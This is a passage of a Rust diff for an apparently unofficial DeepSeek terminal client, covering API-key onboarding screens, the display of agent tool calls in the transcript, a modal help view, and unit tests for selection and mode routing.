Cmd+V on macOS + if key.modifiers.contains(KeyModifiers::SUPER) { + return true; + } + + // Ctrl+V on Linux/Windows + key.modifiers.contains(KeyModifiers::CONTROL) +} + +fn copy_selection_hint() -> &'static str { + "Release to copy selection" +} + +fn should_scroll_with_arrows(_app: &App) -> bool { + false +} + +fn line_to_plain(line: &Line<'static>) -> String { + line.spans + .iter() + .map(|span| span.content.as_ref()) + .collect::() +} + +fn slice_text(text: &str, start: usize, end: usize) -> String { + let mut out = String::new(); + let mut idx = 0usize; + for ch in text.chars() { + if idx >= start && idx < end { + out.push(ch); + } + idx += 1; + if idx >= end { + break; + } + } + out +} + +#[allow(clippy::too_many_lines)] +fn render_onboarding(f: &mut Frame, area: Rect, app: &App) { + // Clear the entire screen with a dark background + let block = Block::default().style(Style::default().bg(palette::DEEPSEEK_INK)); + f.render_widget(block, area); + + // Center the content + let content_width = 70.min(area.width.saturating_sub(4)); + let content_height = 24.min(area.height.saturating_sub(4)); + let content_area = Rect { + x: (area.width - content_width) / 2, + y: (area.height - content_height) / 2, + width: content_width, + height: content_height, + }; + + match app.onboarding { + OnboardingState::Welcome => { + let mut lines = vec![]; + + // Logo + for (i, line) in LOGO.lines().enumerate() { + let color = match i % 3 { + 0 => palette::DEEPSEEK_BLUE, + 1 => palette::DEEPSEEK_SKY, + _ => palette::DEEPSEEK_RED, + }; + lines.push(Line::from(Span::styled( + line, + Style::default().fg(color).bold(), + ))); + } + + lines.push(Line::from("")); + lines.push(Line::from(vec![ + Span::styled("Welcome to ", Style::default().fg(palette::TEXT_PRIMARY)), + Span::styled( + "DeepSeek CLI 🐳", + Style::default().fg(palette::DEEPSEEK_BLUE).bold(), + ), + ])); + lines.push(Line::from("")); + lines.push(Line::from(Span::styled( + "Unofficial CLI for the DeepSeek API", + Style::default().fg(palette::TEXT_MUTED).italic(), + ))); + lines.push(Line::from(Span::styled( + "Not affiliated with DeepSeek Inc.", + Style::default().fg(palette::TEXT_MUTED).italic(), + ))); + lines.push(Line::from("")); + lines.push(Line::from("")); + lines.push(Line::from(Span::styled( + "To get started, you'll need a DeepSeek API key.", + Style::default().fg(palette::TEXT_PRIMARY), + ))); + lines.push(Line::from(Span::styled( + "Get yours at: https://platform.deepseek.com", + Style::default().fg(palette::DEEPSEEK_SKY), + ))); + lines.push(Line::from("")); + lines.push(Line::from("")); + lines.push(Line::from(vec![ + Span::styled("Press ", Style::default().fg(palette::TEXT_MUTED)), + Span::styled("Enter", Style::default().fg(palette::TEXT_PRIMARY).bold()), + Span::styled( + " to enter your API key", + Style::default().fg(palette::TEXT_MUTED), + ), + ])); + lines.push(Line::from(vec![ + Span::styled("Press ", Style::default().fg(palette::TEXT_MUTED)), + Span::styled("Ctrl+C", Style::default().fg(palette::TEXT_PRIMARY).bold()), + Span::styled(" to exit", Style::default().fg(palette::TEXT_MUTED)), + ])); + + let paragraph = Paragraph::new(lines) + .block( + Block::default() + .borders(Borders::ALL) + .border_style(Style::default().fg(palette::DEEPSEEK_BLUE)), + ) + .centered(); + f.render_widget(paragraph, content_area); + } + OnboardingState::EnteringKey => { + let mut lines = vec![ + Line::from(Span::styled( + "Enter Your API Key", + Style::default().fg(palette::DEEPSEEK_BLUE).bold(), + )), + Line::from(""), + Line::from(Span::styled( + "Paste your DeepSeek API key below:", + Style::default().fg(palette::TEXT_PRIMARY), + )), + Line::from(""), + ]; + + // API key input field (masked) + let masked_key = if app.api_key_input.is_empty() { + Span::styled( + "(paste your key here)", + Style::default().fg(palette::TEXT_MUTED).italic(), + ) + } else { + // Show first 8 chars, mask the rest + let visible = app.api_key_input.chars().take(8).collect::(); + let hidden = "*".repeat(app.api_key_input.len().saturating_sub(8)); + Span::styled( + format!("{visible}{hidden}"), + Style::default().fg(palette::STATUS_SUCCESS), + ) + }; + lines.push(Line::from(masked_key)); + lines.push(Line::from("")); + lines.push(Line::from("")); + + // Status message + if let Some(ref msg) = app.status_message { + lines.push(Line::from(Span::styled( + msg, + Style::default().fg(palette::STATUS_WARNING), + ))); + lines.push(Line::from("")); + } + + lines.push(Line::from(vec![ + Span::styled("Press ", Style::default().fg(palette::TEXT_MUTED)), + Span::styled("Enter", Style::default().fg(palette::TEXT_PRIMARY).bold()), + Span::styled(" to save", Style::default().fg(palette::TEXT_MUTED)), + ])); + lines.push(Line::from(vec![ + Span::styled("Press ", Style::default().fg(palette::TEXT_MUTED)), + Span::styled("Esc", Style::default().fg(palette::TEXT_PRIMARY).bold()), + Span::styled(" to go back", Style::default().fg(palette::TEXT_MUTED)), + ])); + + let paragraph = Paragraph::new(lines) + .block( + Block::default() + .borders(Borders::ALL) + .border_style(Style::default().fg(palette::DEEPSEEK_SKY)), + ) + .centered(); + f.render_widget(paragraph, content_area); + } + OnboardingState::Success => { + let lines = vec![ + Line::from(Span::styled( + "API Key Saved!", + Style::default().fg(palette::STATUS_SUCCESS).bold(), + )), + Line::from(""), + Line::from(Span::styled( + "Your API key has been saved to:", + Style::default().fg(palette::TEXT_PRIMARY), + )), + Line::from(Span::styled( + "~/.deepseek/config.toml", + Style::default().fg(palette::DEEPSEEK_SKY), + )), + Line::from(""), + Line::from(""), + Line::from(Span::styled( + "You're all set! Start chatting with DeepSeek", + Style::default().fg(palette::TEXT_PRIMARY), + )), + Line::from(""), + Line::from(""), + Line::from(vec![ + Span::styled("Press ", Style::default().fg(palette::TEXT_MUTED)), + Span::styled("Enter", Style::default().fg(palette::TEXT_PRIMARY).bold()), + Span::styled(" to continue", Style::default().fg(palette::TEXT_MUTED)), + ]), + ]; + + let paragraph = Paragraph::new(lines) + .block( + Block::default() + .borders(Borders::ALL) + .border_style(Style::default().fg(palette::STATUS_SUCCESS)), + ) + .centered(); + f.render_widget(paragraph, content_area); + } + OnboardingState::None => {} + } +} + +fn extract_reasoning_header(text: &str) -> Option { + let start = text.find("**")?; + let rest = &text[start + 2..]; + let end = rest.find("**")?; + let header = rest[..end].trim().trim_end_matches(':'); + if header.is_empty() { + None + } else { + Some(header.to_string()) + } +} + +fn format_subagent_list(agents: &[SubAgentResult]) -> String { + if agents.is_empty() { + return "No sub-agents running.".to_string(); + } + + let mut lines = Vec::new(); + lines.push("Sub-agents:".to_string()); + lines.push("----------------------------------------".to_string()); + + for agent in agents { + let status = format_subagent_status(&agent.status); + let mut line = format!( + " {} ({:?}) - {} | steps: {} | {}ms", + agent.agent_id, agent.agent_type, status, agent.steps_taken, agent.duration_ms + ); + if matches!(agent.status, SubAgentStatus::Completed) + && let Some(result) = agent.result.as_ref() + { + let _ = write!(line, "\n Result: {}", summarize_tool_output(result)); + } + lines.push(line); + } + + lines.join("\n") +} + +fn format_subagent_status(status: &SubAgentStatus) -> String { + match status { + SubAgentStatus::Running => "running".to_string(), + SubAgentStatus::Completed => "completed".to_string(), + SubAgentStatus::Cancelled => "cancelled".to_string(), + SubAgentStatus::Failed(err) => format!("failed: {}", summarize_tool_output(err)), + } +} + +#[allow(clippy::too_many_lines)] +fn handle_tool_call_started(app: &mut App, id: &str, name: &str, input: &serde_json::Value) { + let id = id.to_string(); + if is_exploring_tool(name) { + let label = exploring_label(name, input); + let cell_index = if let Some(idx) = app.exploring_cell { + idx + } else { + app.add_message(HistoryCell::Tool(ToolCell::Exploring(ExploringCell { + entries: Vec::new(), + }))); + let idx = app.history.len().saturating_sub(1); + app.exploring_cell = Some(idx); + idx + }; + + if let Some(HistoryCell::Tool(ToolCell::Exploring(cell))) = app.history.get_mut(cell_index) + { + let entry_index = cell.insert_entry(ExploringEntry { + label, + status: ToolStatus::Running, + }); + app.mark_history_updated(); + app.exploring_entries + .insert(id.clone(), (cell_index, entry_index)); + } + app.tool_cells.insert(id, cell_index); + return; + } + + app.exploring_cell = None; + + if is_exec_tool(name) { + let command = exec_command_from_input(input).unwrap_or_else(|| "".to_string()); + let source = exec_source_from_input(input); + let interaction = exec_interaction_summary(name, input); + let mut is_wait = false; + + if let Some((summary, wait)) = interaction.as_ref() { + is_wait = *wait; + if is_wait + && app + .last_exec_wait_command + .as_ref() + .is_some_and(|last| last == &command) + { + app.ignored_tool_calls.insert(id); + return; + } + if is_wait { + app.last_exec_wait_command = Some(command.clone()); + } + + app.add_message(HistoryCell::Tool(ToolCell::Exec(ExecCell { + command, + status: ToolStatus::Running, + output: None, + started_at: Some(Instant::now()), + duration_ms: None, + source, + interaction: Some(summary.clone()), + }))); + app.tool_cells + .insert(id, app.history.len().saturating_sub(1)); + return; + } + + if exec_is_background(input) + && app + .last_exec_wait_command + .as_ref() + .is_some_and(|last| last == &command) + { + app.ignored_tool_calls.insert(id); + return; + } + if exec_is_background(input) && !is_wait { + app.last_exec_wait_command = Some(command.clone()); + } + + app.add_message(HistoryCell::Tool(ToolCell::Exec(ExecCell { + command, + status: ToolStatus::Running, + output: None, + started_at: Some(Instant::now()), + duration_ms: None, + source, + interaction: None, + }))); + app.tool_cells + .insert(id, app.history.len().saturating_sub(1)); + return; + } + + if name == "update_plan" { + let (explanation, steps) = parse_plan_input(input); + app.add_message(HistoryCell::Tool(ToolCell::PlanUpdate(PlanUpdateCell { + explanation, + steps, + status: ToolStatus::Running, + }))); + app.tool_cells + .insert(id, app.history.len().saturating_sub(1)); + return; + } + + if name == "apply_patch" { + let (path, summary) = parse_patch_summary(input); + app.add_message(HistoryCell::Tool(ToolCell::PatchSummary( + PatchSummaryCell { + path, + summary, + status: ToolStatus::Running, + error: None, + }, + ))); + app.tool_cells + .insert(id, app.history.len().saturating_sub(1)); + return; + } + + if is_mcp_tool(name) { + app.add_message(HistoryCell::Tool(ToolCell::Mcp(McpToolCell { + tool: name.to_string(), + status: ToolStatus::Running, + content: None, + is_image: false, + }))); + app.tool_cells + .insert(id, app.history.len().saturating_sub(1)); + return; + } + + if is_view_image_tool(name) { + if let Some(path) = input.get("path").and_then(|v| v.as_str()) { + let raw_path = PathBuf::from(path); + let display_path = raw_path + .strip_prefix(&app.workspace) + .unwrap_or(&raw_path) + .to_path_buf(); + app.add_message(HistoryCell::Tool(ToolCell::ViewImage(ViewImageCell { + path: display_path, + }))); + app.tool_cells + .insert(id, app.history.len().saturating_sub(1)); + } + return; + } + + if is_web_search_tool(name) { + let query = web_search_query(input); + app.add_message(HistoryCell::Tool(ToolCell::WebSearch(WebSearchCell { + query, + status: ToolStatus::Running, + summary: None, + }))); + app.tool_cells + .insert(id, app.history.len().saturating_sub(1)); + return; + } + + let input_summary = summarize_tool_args(input); + app.add_message(HistoryCell::Tool(ToolCell::Generic(GenericToolCell { + name: name.to_string(), + status: ToolStatus::Running, + input_summary, + output: None, + }))); + app.tool_cells + .insert(id, app.history.len().saturating_sub(1)); +} + +#[allow(clippy::too_many_lines)] +fn handle_tool_call_complete( + app: &mut App, + id: &str, + _name: &str, + result: &Result, +) { + if app.ignored_tool_calls.remove(id) { + return; + } + + if let Some((cell_index, entry_index)) = app.exploring_entries.remove(id) { + if let Some(HistoryCell::Tool(ToolCell::Exploring(cell))) = app.history.get_mut(cell_index) + && let Some(entry) = cell.entries.get_mut(entry_index) + { + entry.status = match result.as_ref() { + Ok(tool_result) if tool_result.success => ToolStatus::Success, + Ok(_) | Err(_) => ToolStatus::Failed, + }; + app.mark_history_updated(); + } + return; + } + + let Some(cell_index) = app.tool_cells.remove(id) else { + return; + }; + + let status = match result.as_ref() { + Ok(tool_result) => match tool_result.metadata.as_ref() { + Some(meta) + if meta + .get("status") + .and_then(|v| v.as_str()) + .is_some_and(|s| s == "Running") => + { + ToolStatus::Running + } + _ => { + if tool_result.success { + ToolStatus::Success + } else { + ToolStatus::Failed + } + } + }, + Err(_) => ToolStatus::Failed, + }; + + if let Some(cell) = app.history.get_mut(cell_index) { + match cell { + HistoryCell::Tool(ToolCell::Exec(exec)) => { + exec.status = status; + if let Ok(tool_result) = result.as_ref() { + exec.duration_ms = tool_result + .metadata + .as_ref() + .and_then(|m| m.get("duration_ms")) + .and_then(serde_json::Value::as_u64); + if status != ToolStatus::Running && exec.interaction.is_none() { + exec.output = Some(tool_result.content.clone()); + } + } else if let Err(err) = result.as_ref() + && exec.interaction.is_none() + { + exec.output = Some(err.to_string()); + } + app.mark_history_updated(); + } + HistoryCell::Tool(ToolCell::PlanUpdate(plan)) => { + plan.status = status; + app.mark_history_updated(); + } + HistoryCell::Tool(ToolCell::PatchSummary(patch)) => { + patch.status = status; + match result.as_ref() { + Ok(tool_result) => { + if let Ok(json) = + serde_json::from_str::(&tool_result.content) + && let Some(message) = json.get("message").and_then(|v| v.as_str()) + { + patch.summary = message.to_string(); + } + } + Err(err) => { + patch.error = Some(err.to_string()); + } + } + app.mark_history_updated(); + } + HistoryCell::Tool(ToolCell::Mcp(mcp)) => { + match result.as_ref() { + Ok(tool_result) => { + let summary = summarize_mcp_output(&tool_result.content); + if summary.is_error == Some(true) { + mcp.status = ToolStatus::Failed; + } else { + mcp.status = status; + } + mcp.is_image = summary.is_image; + mcp.content = summary.content; + } + Err(err) => { + mcp.status = status; + mcp.content = Some(err.to_string()); + } + } + app.mark_history_updated(); + } + HistoryCell::Tool(ToolCell::WebSearch(search)) => { + search.status = status; + match result.as_ref() { + Ok(tool_result) => { + search.summary = Some(summarize_tool_output(&tool_result.content)); + } + Err(err) => { + search.summary = Some(err.to_string()); + } + } + app.mark_history_updated(); + } + HistoryCell::Tool(ToolCell::Generic(generic)) => { + generic.status = status; + match result.as_ref() { + Ok(tool_result) => { + generic.output = Some(summarize_tool_output(&tool_result.content)); + } + Err(err) => { + generic.output = Some(err.to_string()); + } + } + app.mark_history_updated(); + } + _ => {} + } + } +} + +fn is_exploring_tool(name: &str) -> bool { + matches!(name, "read_file" | "list_dir" | "grep_files" | "list_files") +} + +fn is_exec_tool(name: &str) -> bool { + matches!( + name, + "exec_shell" | "exec_shell_wait" | "exec_shell_interact" | "exec_wait" | "exec_interact" + ) +} + +fn exploring_label(name: &str, input: &serde_json::Value) -> String { + let fallback = format!("{name} tool"); + let obj = input.as_object(); + match name { + "read_file" => obj + .and_then(|o| o.get("path")) + .and_then(|v| v.as_str()) + .map_or(fallback, |path| format!("Read {path}")), + "list_dir" => obj + .and_then(|o| o.get("path")) + .and_then(|v| v.as_str()) + .map_or("List directory".to_string(), |path| format!("List {path}")), + "grep_files" => { + let pattern = obj + .and_then(|o| o.get("pattern")) + .and_then(|v| v.as_str()) + .unwrap_or("pattern"); + format!("Search {pattern}") + } + "list_files" => "List files".to_string(), + _ => fallback, + } +} + +fn is_mcp_tool(name: &str) -> bool { + name.starts_with("mcp_") +} + +fn is_view_image_tool(name: &str) -> bool { + matches!(name, "view_image" | "view_image_file" | "view_image_tool") +} + +fn is_web_search_tool(name: &str) -> bool { + matches!(name, "web_search" | "search_web" | "search") || name.ends_with("_web_search") +} + +fn web_search_query(input: &serde_json::Value) -> String { + input + .get("query") + .or_else(|| input.get("q")) + .or_else(|| input.get("search")) + .and_then(|v| v.as_str()) + .unwrap_or("Web search") + .to_string() +} + +fn parse_plan_input(input: &serde_json::Value) -> (Option, Vec) { + let explanation = input + .get("explanation") + .and_then(|v| v.as_str()) + .map(std::string::ToString::to_string); + let mut steps = Vec::new(); + if let Some(items) = input.get("plan").and_then(|v| v.as_array()) { + for item in items { + let step = item.get("step").and_then(|v| v.as_str()).unwrap_or(""); + let status = item + .get("status") + .and_then(|v| v.as_str()) + .unwrap_or("pending"); + if !step.is_empty() { + steps.push(PlanStep { + step: step.to_string(), + status: status.to_string(), + }); + } + } + } + (explanation, steps) +} + +fn parse_patch_summary(input: &serde_json::Value) -> (String, String) { + let path = input + .get("path") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(); + let patch_text = input.get("patch").and_then(|v| v.as_str()).unwrap_or(""); + let (adds, removes) = count_patch_changes(patch_text); + let summary = if adds == 0 && removes == 0 { + "Patch applied".to_string() + } else { + format!("Changes: +{adds} / -{removes}") + }; + (path, summary) +} + +fn count_patch_changes(patch: &str) -> (usize, usize) { + let mut adds = 0; + let mut removes = 0; + for line in patch.lines() { + if line.starts_with("+++") || line.starts_with("---") { + continue; + } + if line.starts_with('+') { + adds += 1; + } else if line.starts_with('-') { + removes += 1; + } + } + (adds, removes) +} + +fn exec_command_from_input(input: &serde_json::Value) -> Option { + input + .get("command") + .and_then(|v| v.as_str()) + .map(std::string::ToString::to_string) +} + +fn exec_source_from_input(input: &serde_json::Value) -> ExecSource { + match input.get("source").and_then(|v| v.as_str()) { + Some(source) if source.eq_ignore_ascii_case("user") => ExecSource::User, + _ => ExecSource::Assistant, + } +} + +fn exec_interaction_summary(name: &str, input: &serde_json::Value) -> Option<(String, bool)> { + let command = exec_command_from_input(input).unwrap_or_else(|| "".to_string()); + let command_display = format!("\"{command}\""); + let interaction_input = input + .get("input") + .or_else(|| input.get("stdin")) + .or_else(|| input.get("data")) + .and_then(|v| v.as_str()); + + let is_wait_tool = matches!(name, "exec_shell_wait" | "exec_wait"); + let is_interact_tool = matches!(name, "exec_shell_interact" | "exec_interact"); + + if is_interact_tool || interaction_input.is_some() { + let preview = interaction_input.map(summarize_interaction_input); + let summary = if let Some(preview) = preview { + format!("Interacted with {command_display}, sent {preview}") + } else { + format!("Interacted with {command_display}") + }; + return Some((summary, false)); + } + + if is_wait_tool || input.get("wait").and_then(serde_json::Value::as_bool) == Some(true) { + return Some((format!("Waited for {command_display}"), true)); + } + + None +} + +fn summarize_interaction_input(input: &str) -> String { + let mut single_line = input.replace('\r', ""); + single_line = single_line.replace('\n', "\\n"); + single_line = single_line.replace('\"', "'"); + let max_len = 80; + if single_line.chars().count() <= max_len { + return format!("\"{single_line}\""); + } + let mut out = String::new(); + for ch in single_line.chars().take(max_len.saturating_sub(3)) { + out.push(ch); + } + out.push_str("..."); + format!("\"{out}\"") +} + +fn exec_is_background(input: &serde_json::Value) -> bool { + input + .get("background") + .and_then(serde_json::Value::as_bool) + .unwrap_or(false) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::config::Config; + use crate::tui::app::TuiOptions; + use std::fs; + use std::path::PathBuf; + use tempfile::tempdir; + + #[test] + fn selection_point_from_position_ignores_top_padding() { + let area = Rect { + x: 10, + y: 20, + width: 30, + height: 5, + }; + + // Content is bottom-aligned: 2 transcript lines in a 5-row viewport. + let padding_top = 3; + let transcript_top = 0; + let transcript_total = 2; + + // Click in padding area -> no selection + assert!( + selection_point_from_position( + area, + area.x + 1, + area.y, + transcript_top, + transcript_total, + padding_top, + ) + .is_none() + ); + + // First transcript line is at row `padding_top` + let p0 = selection_point_from_position( + area, + area.x + 2, + area.y + u16::try_from(padding_top).unwrap(), + transcript_top, + transcript_total, + padding_top, + ) + .expect("point"); + assert_eq!(p0.line_index, 0); + assert_eq!(p0.column, 2); + + // Second transcript line is one row below + let p1 = selection_point_from_position( + area, + area.x, + area.y + u16::try_from(padding_top + 1).unwrap(), + transcript_top, + transcript_total, + padding_top, + ) + .expect("point"); + assert_eq!(p1.line_index, 1); + assert_eq!(p1.column, 0); + } + + fn make_test_app_with_workspace(workspace: PathBuf) -> App { + let options = TuiOptions { + model: "test-model".to_string(), + workspace, + allow_shell: false, + use_alt_screen: true, + max_subagents: 1, + skills_dir: PathBuf::from("."), + memory_path: PathBuf::from("memory.md"), + notes_path: PathBuf::from("notes.txt"), + mcp_config_path: PathBuf::from("mcp.json"), + use_memory: false, + start_in_agent_mode: false, + yolo: false, + resume_session_id: None, + }; + App::new(options, &Config::default()) + } + + #[test] + fn looks_like_rlm_expr_detects_known_functions() { + assert!(looks_like_rlm_expr("lines(1, 10)")); + assert!(looks_like_rlm_expr("search(\"foo\")")); + assert!(looks_like_rlm_expr("vars()")); + assert!(!looks_like_rlm_expr("read the README")); + } + + #[test] + fn rlm_repl_routes_to_chat_when_no_context_loaded() { + let app = make_test_app_with_workspace(PathBuf::from(".")); + assert!(rlm_repl_should_route_to_chat( + &app, + "Please read the README" + )); + assert!(!rlm_repl_should_route_to_chat(&app, "lines(1, 5)")); + } + + #[test] + fn rlm_repl_stays_in_repl_when_context_exists() { + let app = make_test_app_with_workspace(PathBuf::from(".")); + { + let mut session = app.rlm_session.lock().expect("lock session"); + session.load_context("ctx", "hello".to_string(), None); + } + assert!(!rlm_repl_should_route_to_chat( + &app, + "Please read the README" + )); + } + + #[test] + fn auto_rlm_detects_large_file() { + let tmp = tempdir().expect("tempdir"); + let big = tmp.path().join("big.txt"); + let content = vec![b'a'; (AUTO_RLM_MIN_FILE_BYTES + 1) as usize]; + fs::write(&big, content).expect("write"); + + let app = make_test_app_with_workspace(tmp.path().to_path_buf()); + let decision = auto_rlm_decision(&app, "analyze big.txt", false).expect("decision"); + assert!(matches!(decision.source, AutoRlmSource::File(path) if path == big)); + } + + #[test] + fn auto_rlm_uses_largest_file_hint() { + let tmp = tempdir().expect("tempdir"); + let small = tmp.path().join("small.txt"); + let big = tmp.path().join("bigger.txt"); + fs::write(&small, b"tiny").expect("write"); + fs::write(&big, b"this is larger").expect("write"); + + let app = make_test_app_with_workspace(tmp.path().to_path_buf()); + let decision = + auto_rlm_decision(&app, "analyze the largest file", false).expect("decision"); + assert!(matches!(decision.source, AutoRlmSource::File(path) if path == big)); + } + + #[test] + fn auto_rlm_triggers_on_explicit_request() { + let tmp = tempdir().expect("tempdir"); + let app = make_test_app_with_workspace(tmp.path().to_path_buf()); + let decision = auto_rlm_decision(&app, "use rlm mode", false).expect("decision"); + assert!(matches!(decision.source, AutoRlmSource::None)); + } + + #[test] + fn auto_rlm_triggers_on_large_paste() { + let tmp = tempdir().expect("tempdir"); + let app = make_test_app_with_workspace(tmp.path().to_path_buf()); + let content = "a".repeat(AUTO_RLM_PASTE_MIN_CHARS + 5); + let input = format!("Summarize this\n\n{content}"); + let decision = auto_rlm_decision(&app, &input, false).expect("decision"); + match decision.source { + AutoRlmSource::Paste { content, query } => { + assert!(content.len() >= AUTO_RLM_PASTE_MIN_CHARS); + assert_eq!(query.as_deref(), Some("Summarize this")); + } + _ => panic!("expected paste decision"), + } + } + + #[test] + fn parse_plan_choice_accepts_numbers() { + assert_eq!(parse_plan_choice("1"), Some(PlanChoice::ImplementAgent)); + assert_eq!(parse_plan_choice("2"), Some(PlanChoice::ImplementYolo)); + assert_eq!(parse_plan_choice("3"), Some(PlanChoice::RevisePlan)); + assert_eq!(parse_plan_choice("4"), Some(PlanChoice::ExitPlan)); + } + + #[test] + fn parse_plan_choice_accepts_aliases() { + assert_eq!(parse_plan_choice("agent"), Some(PlanChoice::ImplementAgent)); + assert_eq!(parse_plan_choice("yolo"), Some(PlanChoice::ImplementYolo)); + assert_eq!(parse_plan_choice("revise"), Some(PlanChoice::RevisePlan)); + assert_eq!(parse_plan_choice("exit"), Some(PlanChoice::ExitPlan)); + assert_eq!(parse_plan_choice("unknown"), None); + } +} diff --git a/src/tui/views/mod.rs b/src/tui/views/mod.rs new file mode 100644 index 00000000..53d54b54 --- /dev/null +++ b/src/tui/views/mod.rs @@ -0,0 +1,496 @@ +use crossterm::event::KeyEvent; +use ratatui::{buffer::Buffer, layout::Rect}; +use std::fmt; + +use crate::palette; +use crate::tools::subagent::{SubAgentResult, SubAgentStatus, SubAgentType}; +use crate::tui::approval::{ElevationOption, ReviewDecision}; + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum ModalKind { + Approval, + Elevation, + Help, + SubAgents, +} + +#[derive(Debug, Clone)] +pub enum ViewEvent { + ApprovalDecision { + tool_id: String, + tool_name: String, + decision: ReviewDecision, + timed_out: bool, + }, + ElevationDecision { + tool_id: String, + tool_name: String, + option: ElevationOption, + }, + SubAgentsRefresh, +} + +#[derive(Debug, Clone)] +pub enum ViewAction { + None, + Close, + Emit(ViewEvent), + EmitAndClose(ViewEvent), +} + +pub trait ModalView { + fn kind(&self) -> ModalKind; + fn handle_key(&mut self, key: KeyEvent) -> ViewAction; + fn render(&self, area: Rect, buf: &mut Buffer); + fn update_subagents(&mut self, _agents: &[SubAgentResult]) -> bool { + false + } + fn tick(&mut self) -> ViewAction { + ViewAction::None + } +} + +#[derive(Default)] +pub struct ViewStack { + views: Vec>, +} + +impl ViewStack { + pub fn new() -> Self { + Self { views: Vec::new() } + } + + pub fn is_empty(&self) -> bool { + self.views.is_empty() + } + + pub fn top_kind(&self) -> Option { + self.views.last().map(|view| view.kind()) + } + + pub fn push(&mut self, view: V) { + self.views.push(Box::new(view)); + } + + pub fn pop(&mut self) -> Option> { + self.views.pop() + } + + pub fn render(&self, area: Rect, buf: &mut Buffer) { + for view in &self.views { + view.render(area, buf); + } + } + + pub fn update_subagents(&mut self, agents: &[SubAgentResult]) -> bool { + self.views + .last_mut() + .map(|view| view.update_subagents(agents)) + .unwrap_or(false) + } + + pub fn handle_key(&mut self, key: KeyEvent) -> Vec { + let action = self + .views + .last_mut() + .map(|view| view.handle_key(key)) + .unwrap_or(ViewAction::None); + self.apply_action(action) + } + + pub fn tick(&mut self) -> Vec { + let action = self + .views + .last_mut() + .map(|view| view.tick()) + .unwrap_or(ViewAction::None); + self.apply_action(action) + } + + fn apply_action(&mut self, action: ViewAction) -> Vec { + let mut events = Vec::new(); + match action { + ViewAction::None => {} + ViewAction::Close => { + self.views.pop(); + } + ViewAction::Emit(event) => { + events.push(event); + } + ViewAction::EmitAndClose(event) => { + events.push(event); + self.views.pop(); + } + } + events + } +} + +impl fmt::Debug for ViewStack { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.debug_struct("ViewStack") + .field("len", &self.views.len()) + .field("top", &self.top_kind()) + .finish() + } +} + +pub struct HelpView { + scroll: usize, +} + +impl HelpView { + pub fn new() -> Self { + Self { scroll: 0 } + } +} + +impl ModalView for HelpView { + fn kind(&self) -> ModalKind { + ModalKind::Help + } + + fn handle_key(&mut self, key: KeyEvent) -> ViewAction { + use crossterm::event::KeyCode; + + match key.code { + KeyCode::Esc | KeyCode::Char('q') | KeyCode::Enter => ViewAction::Close, + KeyCode::Up | KeyCode::Char('k') => { + self.scroll = self.scroll.saturating_sub(1); + ViewAction::None + } + KeyCode::Down | KeyCode::Char('j') => { + self.scroll = self.scroll.saturating_add(1); + ViewAction::None + } + _ => ViewAction::None, + } + } + + fn render(&self, area: Rect, buf: &mut Buffer) { + use ratatui::{ + prelude::Stylize, + style::Style, + text::{Line, Span}, + widgets::{Block, Borders, Clear, Paragraph, Widget}, + }; + + let popup_width = 70.min(area.width.saturating_sub(4)); + let popup_height = 28.min(area.height.saturating_sub(4)); + + let popup_area = Rect { + x: (area.width - popup_width) / 2, + y: (area.height - popup_height) / 2, + width: popup_width, + height: popup_height, + }; + + Clear.render(popup_area, buf); + + let mut help_lines: Vec = vec![ + Line::from(vec![Span::styled( + "DeepSeek CLI Help", + Style::default().fg(palette::DEEPSEEK_BLUE).bold(), + )]), + Line::from(""), + Line::from(vec![Span::styled( + "Modes:", + Style::default().fg(palette::DEEPSEEK_SKY).bold(), + )]), + Line::from(" Tab cycles modes: Plan → Agent → YOLO → RLM → Duo"), + Line::from(""), + Line::from(vec![Span::styled( + "Commands:", + Style::default().fg(palette::DEEPSEEK_SKY).bold(), + )]), + ]; + + for cmd in crate::commands::COMMANDS.iter() { + help_lines.push(Line::from(format!( + " /{:<12} - {}", + cmd.name, cmd.description + ))); + } + + help_lines.push(Line::from("")); + help_lines.push(Line::from(vec![Span::styled( + "RLM / Aleph:", + Style::default().fg(palette::DEEPSEEK_SKY).bold(), + )])); + help_lines.push(Line::from(" /rlm or /aleph - enter external memory mode")); + help_lines.push(Line::from( + " /load @path - load a file into RLM context", + )); + help_lines.push(Line::from(" /repl - toggle expression mode")); + help_lines.push(Line::from(" /status - show contexts and usage")); + + help_lines.push(Line::from("")); + help_lines.push(Line::from(vec![Span::styled( + "Tools:", + Style::default().fg(palette::DEEPSEEK_SKY).bold(), + )])); + help_lines.push(Line::from( + " web_search - Search the web (DuckDuckGo; MCP optional)", + )); + help_lines.push(Line::from(" mcp_* - Tools exposed by MCP servers")); + help_lines.push(Line::from("")); + help_lines.push(Line::from(vec![Span::styled( + "Keyboard Shortcuts:", + Style::default().fg(palette::DEEPSEEK_SKY).bold(), + )])); + help_lines.push(Line::from(" Enter - Send message")); + help_lines.push(Line::from(" Esc - Cancel request / clear input")); + help_lines.push(Line::from(" Ctrl+C - Exit")); + help_lines.push(Line::from(" Ctrl+U - Clear input line")); + help_lines.push(Line::from(" Ctrl+A / E - Move to start/end of line")); + help_lines.push(Line::from(" Alt+Up/Down - Scroll transcript")); + help_lines.push(Line::from( + " Ctrl+Shift+C - Copy selection (Cmd+C on macOS)", + )); + help_lines.push(Line::from(" Ctrl+V - Paste (Cmd+V on macOS)")); + help_lines.push(Line::from(" F1 - Toggle this help")); + help_lines.push(Line::from("")); + help_lines.push(Line::from(vec![Span::styled( + "Mouse:", + Style::default().fg(palette::DEEPSEEK_SKY).bold(), + )])); + help_lines.push(Line::from(" Scroll wheel - Scroll transcript")); + help_lines.push(Line::from( + " Drag select - Select text (auto‑copies on release)", + )); + help_lines.push(Line::from("")); + + let total_lines = help_lines.len(); + let visible_lines = (popup_height as usize).saturating_sub(3); + let max_scroll = total_lines.saturating_sub(visible_lines); + let scroll = self.scroll.min(max_scroll); + + let scroll_indicator = if total_lines > visible_lines { + format!(" [{}/{} ↑↓] ", scroll + 1, max_scroll + 1) + } else { + String::new() + }; + + let help = Paragraph::new(help_lines) + .block( + Block::default() + .title(Line::from(vec![Span::styled( + " Help ", + Style::default().fg(palette::DEEPSEEK_BLUE).bold(), + )])) + .title_bottom(Line::from(vec![ + Span::styled(" Esc to close ", Style::default().fg(palette::TEXT_MUTED)), + Span::styled(scroll_indicator, Style::default().fg(palette::DEEPSEEK_SKY)), + ])) + .borders(Borders::ALL) + .border_style(Style::default().fg(palette::DEEPSEEK_SKY)), + ) + 